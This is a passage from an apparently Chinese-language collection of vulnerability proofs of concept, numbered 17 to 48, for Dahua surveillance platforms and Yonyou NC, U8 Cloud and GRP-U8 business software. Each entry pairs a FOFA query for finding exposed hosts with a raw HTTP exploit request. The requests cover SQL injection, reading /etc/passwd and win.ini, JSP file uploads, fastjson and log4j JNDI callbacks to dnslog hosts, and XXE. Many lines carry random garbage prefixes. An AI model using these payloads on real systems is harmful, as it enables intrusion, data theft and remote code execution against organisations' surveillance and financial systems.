1 e& W& D! \. X$ H7 P7 X% TUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
0 T3 e& _+ U- ]4 AConnection: close
Accept: */*
5 f3 h- H% N3 V1 N9 u+ GAccept-Language: en
" j+ e! Z* F7 G0 `$ ~& yAccept-Encoding: gzip

- A' ^+ k' o' t; q  ?* ]' H
17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
9 J' [( H4 P6 A! m9 ]' G% j* xPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
; T$ m: O' G9 n" v8 P  `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ n8 S1 [1 U. x; v$ D+ k" pConnection: close
; ?- h* t5 k1 T4 y: p& j$ f2 Z5 mContent-Length: 345
Accept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
* }% P1 v. G8 C8 }    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
6 [% v) R( R1 k2 u3 Y      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
% c, z$ r! c+ q; S1 E3 k
% z4 v/ i- T8 [& c7 N9 _
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
: j% T7 N# `5 h; {Accept: */*
Connection: keep-alive
/ z# V2 V' c' s5 }* ^
) B/ T# x" U6 L3 x3 E& `: k* G( ~' r) C
0 @4 \! w' G) l- |/ Q6 i
3 ^  G( b& |5 G+ H1 D3 L" P5 E19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
5 O6 Q* S7 R% E  n' ]; x; gUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
. o/ O+ S+ v8 ?3 R* o! j& lAccept-Encoding: gzip, deflate
Accept: */*
+ s, G9 Z3 Z' ?4 m" J# pConnection: keep-alive
! o0 y0 r" K1 K/ t5 H( W+ M

20. 大华ICC智能物联综合管理平台任意文件读取
! ~+ a$ ]' A. T! g+ c0 CFOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
8 X3 y. k. u! PAccept: */*
Accept-Language: en
Accept-Encoding: gzip

9 b; I; p6 z9 e& z2 J5 ^
" e$ a  j' I' K1 _: F: Q21. 大华ICC智能物联综合管理平台random远程代码执行
0 x! m* H% c# n2 e$ VFOFA：icon_hash="-1935899595"
; y, O' c- I7 x$ o5 VPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
4 J2 {2 L: H4 S& W+ u1 j% eConnection: close
Content-Type: application/json;charset=utf-8
( L* U+ l& f! H$ j/ H; a
{
: Y! G. |$ K" h0 X: e. u"a":{
! D3 x/ ]1 U. f6 S: \' F   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
+ V; A, W+ w1 G$ f# @* F( N( a  }""
+ ?" [/ w) }! Q6 `" R0 W' K}


22. 大华ICC智能物联综合管理平台 log4j远程代码执行
$ Z% f6 B+ J' N% M& {8 @( E8 GFOFA：icon_hash="-1935899595"
: C* b$ l# s' ~POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
4 R, Y% u4 n* TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
1 p* f" }+ |3 m
5 Z4 w. n" }0 e: J1 T{
"loginName":"${jndi:ldap://dnslog}"
$ K" G4 u( u4 a  x: ^}
, h& H$ O# d# Q6 t0 Q
! t* N+ t8 p/ P! t" N
/ `& R6 U& y1 a& y$ y; t$ X! l
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
, d! z- ^( K/ d: xHost: your-ip
7 Y+ P3 v( o3 i) eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- q1 A+ v& }7 ]8 k" T( \Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close
7 o" `7 e2 }3 H
{
* c0 b; h' L1 ]    "a":{
7 H8 M* q( ^3 s9 u+ Z        "@type":"com.alibaba.fastjson.JSONObject",
. ]2 V$ V$ @7 c8 T5 J/ h  P5 |  H       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
& d& M3 `0 I7 g+ u2 Y: ?}


' @, ~" n& F4 ]# P# w( H/ I( N24. 用友NC 6.5 accept.jsp任意文件上传
. @, M  m& P; ^, R. _! d) M: cFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
Accept: */*
9 O, a; z# p5 F4 M/ Y( oAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
5 Q+ R8 [( {6 @8 z* F. o
1 u+ n3 x1 c+ X( v# T  N-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
3 R1 Z: o& Q% GContent-Type: text/plain
! X. h2 X. w; U6 z; T6 z- l9 F
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
: m7 W# {2 n: V% a+ S; U0 k" K9 {" m6 i-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
) B  ]+ X. X: k2 C0 o6 e7 P0 b-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


25. 用友NC registerServlet JNDI 远程代码执行
* |+ M2 ~, K  _! g; G5 j. X$ G' PFOFA：app="用友-UFIDA-NC"
; Q9 J3 y8 L( Z- i$ bPOST /portal/registerServlet HTTP/1.1
Host: your-ip
% Q5 a$ V9 o' Y) m$ @9 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
* D* F  P7 E1 }# ^, Q1 CAccept-Encoding: gzip, deflate
4 d4 b/ o* Z8 zAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
6 j) S( e, `7 D& `5 G' q* Y6 \3 j8 ]
type=1&dsname=ldap://dnslog
# l! [  C4 l2 U, w

0 n( y" Y  U: y$ z, i, r' L3 T! {% ]
26. 用友NC linkVoucher SQL注入
, {$ Q$ J+ r9 F8 ^6 e) [1 Q6 cFOFA：app="用友-UFIDA-NC"
8 F+ g# H2 a0 ]" E+ T3 xGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
$ F. b+ G: e( o% R7 EAccept: */*
Connection: keep-alive
  Q" [. ]- @) _+ }# G- P( O! Y/ `
, B; d- n  e2 a6 U7 D' {7 s
27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
2 T8 h' F! c( n5 t& J3 F) R+ fGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
2 q" `6 a3 [! D9 P) i$ H. ?9 S% aHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" o& W! ^3 T" b1 a3 wAccept-Encoding: identity
/ J3 v0 r& e% A0 _1 j7 qConnection: close
Content-Type: text/xml; charset=utf-8
+ n- }* P3 ?7 ?3 j. q( P
- s! ~! D, L8 K
28. 用友NC grouptemplet 任意文件上传
7 Q4 r3 K3 {8 p: q" wFOFA：icon_hash="1085941792"
7 C9 x# }; R8 H- c. \: Q% mPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
0 @  ^; M! m; B/ g( E4 O  m- Z+ n+ T( kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
+ W5 Q% O8 y2 c" C1 OConnection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
" _) \0 D  B) c& {- WAccept-Encoding: gzip

& I3 W& f' q" \% t8 K( w# \------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

" |+ a- \& Y6 w* I3 z! b# m; m<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

: L+ P- _, E% p+ K6 J6 x
0 k5 D2 M" _% K/uapim/static/pages/nc/head.jsp
" j* M, v! X/ W; h7 ]/ }8 [; J
0 `" W6 w, ^! N9 V; R" z29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
& {# x4 L6 y' `! uGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
6 v* V( \6 z" U) nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

) c: z- |2 N4 l
1 P: ~0 G1 t0 \6 e30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
+ ^( c" g$ o8 [$ d" E: U' LPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
& {4 N; ~4 |7 N9 s0 zContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
) {0 ]& Y' g' n' g8 [" I! V

# C3 i: n. H  y# s+ H31. 用友NC runStateServlet SQL注入
, G* _. ?6 Y5 B  S, H. cversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
& U" R+ P, J4 m! ^Content-Type: application/x-www-form-urlencoded
+ v; ~8 h9 g  B. q- x

. D. [* h: X( I7 Q: O32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
9 E: j3 k" {% I6 ]; \* ^) {

33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
5 e2 w* S$ l: q( _3 m1 s2 ?1 e. VGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 \" ^5 |" R4 y6 Z( i# wHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
) K3 C1 w4 K* h: zAccept: */*
: w+ M) ]! Q4 [Connection: keep-alive


34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
1 R" N$ `7 P$ I2 @0 ^" z/ n& dGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
& ~6 f5 v) |5 K0 \% i$ D& }6 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
5 B' [: G/ e4 U+ ~Accept: */*
Connection: keep-alive
& g& D5 a; |" X# |. p1 A+ q
2 [: r( y  {! p1 }3 k2 C
35. 用友NC-Cloud importhttpscer任意文件上传
' t' }$ E$ T& a; Q0 aFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
0 ?- m/ O, g  \) U( vUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
0 E0 |* P9 q9 R$ L( \! Z  yAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
! x- B& n, F' u! i, s! I" Z) Q. VaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
" X. G3 K4 U  ^6 PContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--
1 i9 G. [& O3 J2 @+ ?' l

36. 用友NC-Cloud soapFormat XXE
7 e2 i( D+ @2 hFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
* |! P$ J$ k# B7 o( Z! U$ O3 wPOST /uapws/soapFormat.ajax HTTP/1.1
- m" o/ C* n  {0 B4 eHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) J) s, @8 L: yAccept-Encoding: gzip, deflate
  Z% k' s$ U$ m6 GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
/ b. }. J' |8 r2 o- }$ k, |Content-Type: application/x-www-form-urlencoded
  u. K0 b) {% @  s0 U, wUpgrade-Insecure-Requests: 1

& }# Q8 {$ g% pmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

4 T% M% K. G+ ~" R4 {- v8 S
+ Z/ k! g4 y5 i37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
, B* |) K) S2 yPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
6 \% S- h$ L7 R" b; L$ RHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+ @- j1 v3 [) k. V6 fAccept-Encoding: gzip, deflate
% O' ]( ~5 m; y  |; i, }0 [5 ^Accept-Language: zh-CN,zh;q=0.9
( Q) [3 i4 E8 e* AConnection: close
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
, ^. q" ~# S' U  f9 l3 CUpgrade-Insecure-Requests: 1
9 e) m" ^) w' V8 C; y4 _
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
, Z0 i% M% u3 }5 I, L. B/ l+ N% L<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
& s% c4 Z2 ?% D- K* h<!--type: string-->
<iup:string><![CDATA[
; K! Y& B" g7 m8 `% b<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
7 A2 I2 w# e  ?  J" j5 F<xxx/>]]></iup:string>
, j/ x' a- V7 H6 r( V6 c) P</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>
) J2 B7 W: p2 c! p; B# c
& u4 ]7 h8 G7 [8 U6 S$ J
1 ?) r1 V7 E: N1 x* ]+ a9 q
38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
& v" y# m6 I9 K' w% y( xAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  T5 S1 s/ j+ ]( k4 b, X# QConnection: close
Content-Type: application/x-www-form-urlencoded
. U- q" T; w) ^- M
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


: N" h7 B* ]& o( Z8 Z/ \39. 用友U8 Cloud RegisterServlet SQL注入
, r( ~8 A  J: VFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
) l2 `! y% f  P1 |6 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
4 c! b& F4 Y9 x  j. hAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
; q4 O# H* o7 C" N  Z9 IX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
  h, e/ S& f2 [4 g9 U. p4 n) w. cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
% s% J$ [2 H" P7 g5 D  C

- t  b; J2 B, E/ U( m: ^7 |& b+ f+ }41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
2 B; T3 M& Q1 e" zFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 K3 s' E* k( ]Content-Type: application/json
Accept-Encoding: gzip
  m/ v7 B6 E: D3 l# ^( T6 r" ^Connection: close


' ~  ]1 f+ ~- n& s42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
3 V0 m& U) t: m, tPOST /u8qx/SmartUpload01.jsp HTTP/1.1
, ?' n, o9 N' {$ p2 `7 {Host: x.x.x.x
$ _4 z5 r% F& x) e. @" }Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
4 f8 W2 Z# g5 T% e0 hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
3 U9 J; f1 ]( g
PAYLOAD
) r' }: |- n0 h$ F+ S* J/ z

/ G9 O8 Y; ~" G( \7 e8 @' ]7 `http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

" L8 P4 j; b( {( X43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
1 ~, ]2 Z4 B; Z2 RPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
3 v, g' z; \, D# DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
1 ]4 L4 C4 W5 u; k3 U+ pAccept-Language: zh-CN,zh;q=0.9
+ Z1 c. ~' G+ q# J# v$ zConnection: close
SOAPAction:
8 b( C, f& C) S7 _2 Y+ ?! M8 g4 iContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
% X7 n8 _! g( L; y: R. L; X      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
$ _( r; [2 d% B+ |8 z  y         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
. a# v/ i$ f( A( R      </ser:getUserNameById>
" _5 ~) r5 o. y% {0 q   </soapenv:Body>
9 F  @( U4 p4 x1 I</soapenv:Envelope>


0 b7 N+ n: S7 C0 \% l44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
. N+ b1 {0 i( o$ N, n& V. T- ?Host: your-ip
, F9 g' F# ]0 |" `0 n; o8 X& B; RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
8 T9 i" n/ H# Y% ?3 b# e) JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% b+ \8 q* U: O4 ~, P) w7 J7 l, \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


45. 用友GRP-U8 ufgovbank XXE
7 u8 O1 W+ g( p/ ]# Z1 CFOFA：app="用友-GRP-U8"
5 G- _. v0 c0 k- P. }POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
9 [- ^! o! \# i1 s9 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
% g' q# \) F# N0 @' |% }; C+ fContent-Length: 161
: d, R2 g  w4 d& g4 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 B+ Y: P1 G2 v# I8 `; v& pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ {- U" w8 B- Y; Y" SContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
, _. G4 F4 l" o% x& {1 d
reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

) O& l2 p; o& L1 n% H: |
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
: O6 S) f! g; J: HFOFA：app="用友-GRP-U8"
+ o+ ~$ s) |# S3 u8 fGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
+ j& k! {. P% L& T0 WHost: your-ip
& {( `- g, u/ _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
  H# U* r8 ~( {3 u8 MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( t$ ?' h9 a8 RAccept-Encoding: gzip, deflate
7 `; x, \1 c; oAccept-Language: zh-CN,zh;q=0.9
3 X4 T/ t; X  @. T% o! uConnection: close


47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
) C8 P# l, a  D# T( bHost: x.x.x.x
; \: I' {" h7 r$ I- D- `* v" jCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
* O: T: _2 g3 D. j3 ~- AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
2 D  j( [' g1 _' `* u* gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 L. n6 d$ D7 f  uAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
: ~3 S* q* u+ l; e2 ]  EConnection: close
# c9 f0 W3 z: f+ @/ o" [

" [! a0 z' _' h! z
48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
# Z6 X; C8 V  M" K( a5 M3 uHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
